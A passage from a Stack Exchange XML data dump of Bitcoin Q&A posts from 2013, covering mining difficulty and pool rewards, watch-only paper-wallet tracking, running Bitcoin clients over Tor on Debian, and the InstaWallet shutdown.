href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;, bitcoind (which you download together with Bitcoin-Qt), the daemon implementation of the default client, or &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Bitcoin_clients_2&quot; rel=&quot;nofollow&quot;&gt;any other client&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;InstaWallet is just a web service that allows a very easy and fast way to create a Bitcoin wallet, based on a URL.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-29T21:22:05.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10392" PostTypeId="2" ParentId="10387" CreationDate="2013-04-29T21:30:55.227" Score="0" Body="&lt;p&gt;To expand on some of the other answers, the way that the mining pools divide up the reward is usually by shares.  The mining pool picks a difficulty level that is not as difficult as that of the network and rewards a share when a hash is found that meets this less-difficult level.  When someone find a hash that's at the network difficulty level, the mining pool operator distributes the reward according to the number of shares, so that participants that did more searching get a bigger share of the reward. &lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-29T21:30:55.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10393" PostTypeId="1" AcceptedAnswerId="10394" CreationDate="2013-04-29T21:53:49.717" Score="1" ViewCount="3383" Body="&lt;p&gt;On average, how many &quot;computations&quot; (GPU computations, CPU computations, CPU cycles, etc.) does it take to solve a block (&quot;win&quot; a mining race)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are these computations measured in? Operations? Operations per second? Something else? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4692" LastEditorUserId="5406" LastEditDate="2016-04-10T10:07:46.410" LastActivityDate="2016-04-10T10:07:46.410" Title="Mining computations by the numbers" Tags="|hashpower|gpu|terminology|cpu|" AnswerCount="3" CommentCount="0" ClosedDate="2013-04-30T18:52:44.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="10394" PostTypeId="2" ParentId="10393" CreationDate="2013-04-29T22:33:49.567" Score="2" Body="&lt;p&gt;When mining, you computer creates &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow&quot;&gt;hashes&lt;/a&gt;. These hashes must satisfy a certain condition. All a miner does is trying many many times to find a valid hash for a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;mining hardware&lt;/a&gt; performance is measured in GH/s, giga-hash-per-second, which are one billion hash calculations per second and it is called the hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is good to know that there is no fixed amount if hashes required to find a valid hash. The Bitcoin network has a dynamic &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt; for the mining problem. This difficulty is used to make sure new bitcoins are generated at a predictable rate. The difficulty is changed every 2016 blocks, and is adapted so that it will take as close as possible to 2 weeks for the next 2016 blocks. This means that, at average, every 10 minutes a new block is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chance of finding a good hash within such 2 weeks is fixed. This means that you can find one after only a few tries or it can take you weeks or even months to find one. When the total hashrate of the network raises, 2016 blocks will be found in less than 2 weeks. In this case the difficulty will automatically be adapted so that the next 2016 blocks will take 2 weeks, considering the recent hashrate change.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-29T22:33:49.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10395" PostTypeId="1" AcceptedAnswerId="10397" CreationDate="2013-04-29T23:14:33.190" Score="8" ViewCount="9236" Body="&lt;p&gt;I generated a paper wallet offline and running from fresh OS, and I'm not going to ever type that private key into a computer until it's time to spend the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I will send coins to this address as a 'piggy bank'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: can the Qt client be configured to track an address and update the available balance for an address, without the private key ever being entered?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2014-10-14T22:13:40.810" LastActivityDate="2019-03-14T23:16:09.980" Title="Monitor paper wallet balance without importing private key?" Tags="|paper-wallet|watch-only|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10396" PostTypeId="2" ParentId="10395" CreationDate="2013-04-29T23:38:47.260" Score="7" Body="&lt;p&gt;Try using &lt;a href=&quot;http://blockchain.info&quot;&gt;BlockChain.info&lt;/a&gt; - you can add a watch only address and then receive email or SMS alerts every time it does anything - so you don't even have to consciously keep an eye on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I apologise, I didn't see that you wanted to use QT for it. I don't know of any way to do this, so propose blockchain as an alternative. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-04-29T23:38:47.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10397" PostTypeId="2" ParentId="10395" CreationDate="2013-04-29T23:56:44.243" Score="7" Body="&lt;p&gt;As of version 0.8.1, this is not possible with Bitcoin-Qt. There is a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2121&quot;&gt;pull request&lt;/a&gt; to add support for watch-only addresses, which may make it into 0.9. Feel free to help testing!&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-29T23:56:44.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10398" PostTypeId="1" AcceptedAnswerId="10399" CreationDate="2013-04-30T00:11:14.883" Score="4" ViewCount="3351" Body="&lt;p&gt;I have problem finding this. The Bitcoin wiki mentions the probability &lt;a href=&quot;https://en.bitcoin.it/wiki/Target#What_is_the_target_now.3F&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but only with a link to the &lt;a href=&quot;http://blockexplorer.com/q/probability&quot; rel=&quot;nofollow&quot;&gt;current value on BlockExplorer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki page on &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt; doesn't mention the formula for the probability either.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-03-16T10:54:41.777" LastActivityDate="2017-01-26T18:06:59.737" Title="How is the probability of winning a block calculated from the difficulty?" Tags="|difficulty|mining-profitability|hashpower|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10399" PostTypeId="2" ParentId="10398" CreationDate="2013-04-30T00:31:31.173" Score="7" Body="&lt;p&gt;If the current difficulty is D, then the target hash (the value below which block hashes must go) is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x00000000FFFF0000000000000000000000000000000000000000000000000000 / D&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(by definition of difficulty, which is a fraction of the maximum target), or otherwise put, the number of valid hashes is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;65535 * 2&lt;sup&gt;208&lt;/sup&gt; / D&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which means that the ratio of all hashes over valid hashes would be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2&lt;sup&gt;256&lt;/sup&gt; / (65535 * 2&lt;sup&gt;208&lt;/sup&gt; / D) =&#xA;  D * 2&lt;sup&gt;48&lt;/sup&gt; / 65535 =&#xA;  D * 4295032833&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which, at the current (January 2017) difficulty of D =  392963262344.3704 means that one hash in&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;392963262344.3704 * 4295032833 = 1687790113931869416948&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;results in a valid block, or each attempt has a chance of&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 / 1687790113931869416948 = 0.000000000000000000059 %&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2017-01-26T18:06:59.737" LastActivityDate="2017-01-26T18:06:59.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10401" PostTypeId="2" ParentId="10365" CreationDate="2013-04-30T01:22:58.393" Score="2" Body="&lt;p&gt;BitFunder is an exchange that facilitates the trading of &quot;assets&quot; which  include cyber equities such as ASICMINER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So purchasing shares is engaging in a trade with another party that is selling shares.  BitFunder simply escrows the bitcoins in an exchange account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitFunder provides a &lt;a href=&quot;https://bitfunder.com/assetlist&quot; rel=&quot;nofollow&quot;&gt;method&lt;/a&gt; to claim ownership of shares should the service be forced to close or should the operator simply disappear.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-30T01:22:58.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10402" PostTypeId="1" CreationDate="2013-04-30T01:43:16.733" Score="7" ViewCount="2182" Body="&lt;p&gt;As is well known many Bitcoin businesses and in particular exchanges have had a lot of trouble working with banks. Are there any banks that are explicitly Bitcoin-friendly?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="1307" LastEditDate="2013-04-30T10:13:41.637" LastActivityDate="2014-03-17T11:10:44.443" Title="Bitcoin-friendly Bank" Tags="|banks|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10404" PostTypeId="1" CreationDate="2013-04-30T02:02:42.747" Score="1" ViewCount="22" Body="&lt;p&gt;Which file(s) are responsible for the procedure which confirms that transactions are well-formed, specifically that &quot;Size in bytes &amp;lt; MAX_BLOCK_SIZE&quot; as described in the Protocol Rules article on the wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_rules&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-04-30T02:07:38.327" Title="Which function in which file verifies that transactions are the right size" Tags="|transactions|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10405" PostTypeId="2" ParentId="10404" CreationDate="2013-04-30T02:07:38.327" Score="1" Body="&lt;p&gt;The function, which is found in main.cpp is called CheckTransaction():&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L526&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L526&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-04-30T02:07:38.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10408" PostTypeId="1" CreationDate="2013-04-30T05:04:37.627" Score="4" ViewCount="2022" Body="&lt;p&gt;So I'm trying to learn how to work with an api, and how to get bitcoin historical price data.  Ideally, I'd like all of it, and the nice &lt;a href=&quot;http://www.bitcoincharts.com/charts/mtgoxUSD#rg60ztgSzm1g10zm2g25zv&quot; rel=&quot;nofollow&quot;&gt;gui that they have on the site&lt;/a&gt; for displaying the charts (but I don't suppose I can get the gui?).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I'd like to be able to just see the last 2000 trades, up to an end date, as it seems to say I can &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, using http://api.bitcoincharts.com/v1/trades.csv?symbol=SYMBOL[&amp;amp;end=UNIXTIME].  This works fine for UNIXTIME up to a couple days ago, but not further back.  Is it possible to retrieve older data?  Or are there better ways to go about this?&lt;/p&gt;&#xA;" OwnerUserId="4736" LastActivityDate="2018-09-06T14:08:57.610" Title="Bitcoin Charts API Data" Tags="|api|exchange-rate|charts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10409" PostTypeId="2" ParentId="9753" CreationDate="2013-04-30T07:05:45.533" Score="4" Body="&lt;p&gt;Namecoin is mergemined with Bitcoin, so the difficulty is near as high as bitcoin.&#xA;You may as well mine bitcoin and connect to a pool that allows Merged Mining Namecoins -- and you'll get uBTC bitcoins with no additional effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to leave the CPU alone especially if you're on windows, because i've noticed mining with both GPU and CPU is terrible because the CPU is required to submit and if the CPU is tied up with another application -- say NMC mining then the KH/s from litecoin will go down.&lt;/p&gt;&#xA;" OwnerUserId="4737" LastActivityDate="2013-04-30T07:05:45.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10410" PostTypeId="2" ParentId="9753" CreationDate="2013-04-30T07:30:06.830" Score="1" Body="&lt;p&gt;You can try to mine Novacoin which is maybe less difficult to mine, but be careful, this money is 'a sacm' for certain people (the creator has pre-mined the money).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have the TerraCoin, the NameCoin or the PPCoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://cryptocur.com/&quot; rel=&quot;nofollow&quot;&gt;http://cryptocur.com/&lt;/a&gt; to see how to mine these.&#xA;Coinotron is also a great pool to try to mine alt money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2013-04-30T07:30:06.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10411" PostTypeId="1" AcceptedAnswerId="10413" CreationDate="2013-04-30T07:45:51.573" Score="4" ViewCount="4872" Body="&lt;p&gt;I've received a question asking how to setup a Bitcoin client using Tor on a Debian based Linux system. Could someone provide a rough overview and perhaps a link to a tutorial?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="1307" LastEditDate="2013-04-30T08:29:44.757" LastActivityDate="2014-05-19T01:34:14.590" Title="Running a Bitcoin client with tor with a Debian based Linux OS" Tags="|bitcoind|tor|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10412" PostTypeId="2" ParentId="910" CreationDate="2013-04-30T08:25:15.613" Score="3" Body="&lt;p&gt;&lt;em&gt;This answer is copied from my answer on a duplicate question of this one: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10351/1307&quot;&gt;https://bitcoin.stackexchange.com/a/10351/1307&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You should start here: &lt;a href=&quot;http://www.youtube.com/watch?v=GmOzih6I1zs&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=GmOzih6I1zs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the video mentions, mining is needed to ensure fairness and for keeping th network stable, safe and secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's see what that means. But first a very brief explanation of the principle of mining.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mining&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network consists of nodes that all store a database with all transactions, called the block chain. This database consists of a long chain of blocks, each holding one or more transactions. What miners basically do is bundling all unconfirmed transaction into a block. The form of the block must satisfy certain conditions before the block is considered valid. This condition is called &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow noreferrer&quot;&gt;proof of work&lt;/a&gt; and is not trivial to understand. When a miner finds a block that is valid, it can send its block to the network and others will verify it. When it is indeed valid, all clients will add it to their block chain. Every time a miner finds a valid block, it has the right to assign a certain amount of bitcoins to himself, called the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining#Reward&quot; rel=&quot;nofollow noreferrer&quot;&gt;block reward&lt;/a&gt;. They also get all transaction fees of all transactions included in his block. This way, new bitcoins are added to the network and it can be ensured that transactions can be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fairness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin is peer-to-peer and there is no central authority to control it, every one can send any kind of transaction to the network, whether or not it is valid. You could simply send a transaction that sends someone else's coins to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily no one in the network will accept your transaction. When you want to spend bitcoins from a certain address, you will need to sign the transaction with the private key of that address. Other clients in the network can verify that you own that private key because they have the public key. This method is based on &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow noreferrer&quot;&gt;public-key cryptography&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when miners try to bundle unconfirmed transactions into a block, they first need to confirm every transaction to make sure that all transactions in its block are valid. When they are not, other clients will not accept the block they mined when they sends it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, miners ensure that people can only spend bitcoins they own.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stability&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the least difficult one to understand. The Bitcoin protocol sets the &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;difficulty&lt;/a&gt; of the mining problem so that averagely every 10 minutes a new block can be found by some miner. This way, a transaction takes 10 minutes to be confirmed on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after a transaction has been included in a block, it still is not irreversible. This is not easy to understand, but when a miners try to mine a new block, they include in that block the number and the ID of the previous one. So let's say someone mined block 100, which follows number 99. It can happen that someone else didn't notice that someone found a valid block to follow on 99 and makes a valid number 100 itself as well, let's call it 100'. In this case, most clients will only accept the first block they received. But it can happen that another miner received 100' first and will find a block following on 100' and not on 100. Then we have following situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;98 - 99 - 100&#xA;      \ _ 100' - 101'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When clients notice such a situation, they will always choose the longest existing chain (that only consists of block they think are valid). This means that block 100 will be discarded and that 100' and 101' or now the two last block of the main chain. This means that a transaction that was confirmed by block 100 is now possibly no longer confirmed. Luckily, the miners that found block 100' or 101' probably also knew of the transaction and most probably they also included it in one of those blocks. But it can happen that they did not and so a transaction can be undone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, most clients and merchants require a transaction to be &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow noreferrer&quot;&gt;confirmed by at least 6 blocks&lt;/a&gt;. This means it must be included in a block that has at least 5 blocks after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that a transaction will be able to be considered confirmed after averagely 1 hour, makes it a stable situation. It happens rarely that transactions confirmed for more than 1 hour will ever be reversed again.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Safety and security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The previous part about stability already included some security aspects of mining. It is clear that miners make the Bitcoin block chain trustworthy. When a transaction is included in a block and 5 or more other blocks have passed, you can be sure it is irreversible and safe to accept it as a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also clear that the safety and security of Bitcoin as a payment system is in the hands of the miners and that every time one of them solves a block, he has the power to decide what transactions he accepted to the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly, all miners are fair and they will include as much valid transactions as possible. Whenever a miner is not fair and it selectively excludes some transactions, some other miner will likely include it in the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however one flaw. When a miner has &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow noreferrer&quot;&gt;more computation power than all other miners combined&lt;/a&gt;, it can always create new blocks at a faster rate than the others. This gives him much power over the block chain, and that is to be avoided at all cost. This flaw is named a 51% attack. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/662/1307&quot;&gt;This answer&lt;/a&gt; sums up the consequences of what could happen if someone would have 51% of the network computation power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is a security flaw, what has this to do with why miners should mine? Well, as more people mine, the total computation power rises and it will be much much harder for someone to perform such a 51% attack. Currently, to own hardware capable of performing such an attack would be so enormously expensive that it is economically unfeasible to do, if not completely impossible. So, every miner tht contributes his power to the network ensures that only fair miners will find blocks and that the network will be safe for people to trust upon.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-04-30T08:25:15.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10413" PostTypeId="2" ParentId="10411" CreationDate="2013-04-30T08:30:27.040" Score="6" Body="&lt;h2&gt;Setting up Vidalia&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/dist/torbrowser/linux/tor-browser-gnu-linux-i686-2.3.25-6-dev-en-US.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download the Tor Browser bundle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract, go to the App folder, and double click Vidalia (and select &amp;quot;Run&amp;quot;). Let Vidalia load.&lt;/li&gt;&#xA;&lt;li&gt;If Vidalia doesn't work, run the &amp;quot;start-tor-browser&amp;quot; file at the top level of the extracted directory.&lt;/li&gt;&#xA;&lt;li&gt;Ensure that the port is 9150 (it usually is). If you're not sure, go to Edit&amp;gt;Preferences&amp;gt;Network&amp;gt;Settings and check that the opened Firefox window is connected to a SOCKS v5 proxy on port 9150. If not, make note of the port and use it in place of 9150 in the rest of this post.&lt;/li&gt;&#xA;&lt;li&gt;If Firefox was opened, close it. You don't need it for this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Setting Tor up for your Bitcoin client&lt;/h1&gt;&#xA;&lt;h2&gt;Bitcoin-QT&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ensure Vidalia is running&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download Bitcoin-QT&lt;/a&gt;, and extract&lt;/li&gt;&#xA;&lt;li&gt;On your Debian command line, run &lt;code&gt;sudo apt-get install libqtgui4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;code&gt;bin&lt;/code&gt; folder in the extracted Bitcoin, choose the 32 or 64 forlder depending on your system (32-bit/64-bit), double click the &lt;code&gt;bitcoin-qt&lt;/code&gt;, select &amp;quot;Run&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to &amp;quot;Settings&amp;quot; in the menu bar, &amp;quot;Network&amp;quot; tab. Check the SOCKS proxy tickmark, set IP as &lt;code&gt;127.0.0.1&lt;/code&gt;, port as &lt;code&gt;9150&lt;/code&gt;, with version 5.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pENVP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Setting it up with Electrum&lt;/h2&gt;&#xA;&lt;p&gt;Run the following lines in your command prompt:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install python-qt4 python-pip&#xA;sudo pip install http://download.electrum.org/download/Electrum-1.7.3.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you have trouble using &lt;code&gt;pip&lt;/code&gt;, download Electrum from &lt;a href=&quot;http://download.electrum.org/download/Electrum-1.7.3.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and run &lt;code&gt;pip install /path/to/Electrum-1.7.3.tar.gz&lt;/code&gt; (Usually will be &lt;code&gt;pip install ~/Downloads/Electrum-1.7.3.tar.gz&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Run &lt;code&gt;electrum&lt;/code&gt; on the command line&lt;/p&gt;&#xA;&lt;p&gt;At this screen, you can choose either option depending of whether or not you've already used Electrum before:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJcGg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, use these settings for the next screen:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XwC0c.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;You may use a different default server if you wish. Try to get one that is situated close to your physical location.&lt;/p&gt;&#xA;&lt;p&gt;If you selected &amp;quot;restore&amp;quot;, fetch your seed (should look something like the one entered below) and enter it in the text field. If you had a lot of addresses in your old wallet, increase the gap limit. (that is the number of unused addresses Electrum generates before giving up on this)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iHeqX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Follow the remaining instructions: Safely store the wallet seed, and set a password if you wish. If the connection is working, you should see a green light at the bottom:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Yj3d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Setting Tor up with bitcoind&lt;/h2&gt;&#xA;&lt;p&gt;Simply run &lt;code&gt;bitcoind  -proxy=127.0.0.1:9150&lt;/code&gt; (or whatever the port is)&lt;/p&gt;&#xA;" OwnerUserId="1453" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-28T04:13:35.830" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10416" PostTypeId="1" CreationDate="2013-04-30T10:29:35.830" Score="0" ViewCount="360" Body="&lt;p&gt;Title is pretty self-explanatory. Just went to &lt;a href=&quot;https://www.instawallet.org/&quot; rel=&quot;nofollow&quot;&gt;InstaWallet&lt;/a&gt;'s site and it is clearly shut down, probably for good...&lt;/p&gt;&#xA;" OwnerUserId="4692" LastActivityDate="2013-04-30T10:32:52.263" Title="Why did InstaWallet shut down, and what does this mean for Bitcoin?" Tags="|instawallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10417" PostTypeId="2" ParentId="10416" CreationDate="2013-04-30T10:32:52.263" Score="1" Body="&lt;p&gt;Apparently someone &lt;a href=&quot;http://venturebeat.com/2013/04/03/bitcoin-wallet-instawallet-hacked/&quot; rel=&quot;nofollow noreferrer&quot;&gt;got access to their database&lt;/a&gt; (&lt;a href=&quot;http://arstechnica.com/business/2013/04/in-wake-of-bitcoin-spike-mt-gox-under-ddos-instawallet-shuts-down/&quot; rel=&quot;nofollow noreferrer&quot;&gt;another link&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Instawallet service is suspended indefinitely until we are able to&#xA;develop an alternative architecture.&lt;/p&gt;&#xA;&lt;p&gt;Our database was fraudulently&#xA;accessed&lt;sup&gt;1&lt;/sup&gt;, due to the very nature of Instawallet it is impossible to&#xA;reopen the service as-is.&lt;/p&gt;&#xA;&lt;p&gt;In the next few days we are going to open&#xA;the claim process for Instawallet balance holders to claim the funds&#xA;they had stored before the service interruption.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This probably means that one should be more careful when using online Bitcoin services. Most of these do not hire security consultants (or don't hire enough), as Bitcoin is still a fledgling market and they probably don't have enough resources to ensure foolproof security. I would probably trust Mt. Gox's security (not completely, just to a reasonable degree) as it is a rather big company, but smaller ones like Instawallet are always in danger of being hacked.&lt;/p&gt;&#xA;&lt;p&gt;If you own a bitcoin service, &lt;em&gt;hire a security consultant&lt;/em&gt;. The nature of Bitcoin makes it hard to pursue a hacker via the legal system, so if something is compromised, there's not much going back. So don't let it be compromised in the first place.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;1. Sounds suspiciously like SQL injection&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1453" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-30T10:32:52.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10418" PostTypeId="1" CreationDate="2013-04-30T10:45:13.277" Score="0" ViewCount="6095" Body="&lt;p&gt;I'm looking for the benchmarked hashrates of both a 1.0GHz Opteron 2007 CPU, as well as a 1.2GHz Xeon 2007 CPU. I looked &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but didn't see them mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, on that references page, I don't see anything mentioned for how the hashrates were computed. What mining app is being used as the benchmarker for all those stats? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4692" LastEditorUserId="5406" LastEditDate="2016-04-28T13:56:01.043" LastActivityDate="2016-04-28T13:56:01.043" Title="Hashrates for Opteron and Xeon CPUs" Tags="|mining-hardware|hashpower|cpu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
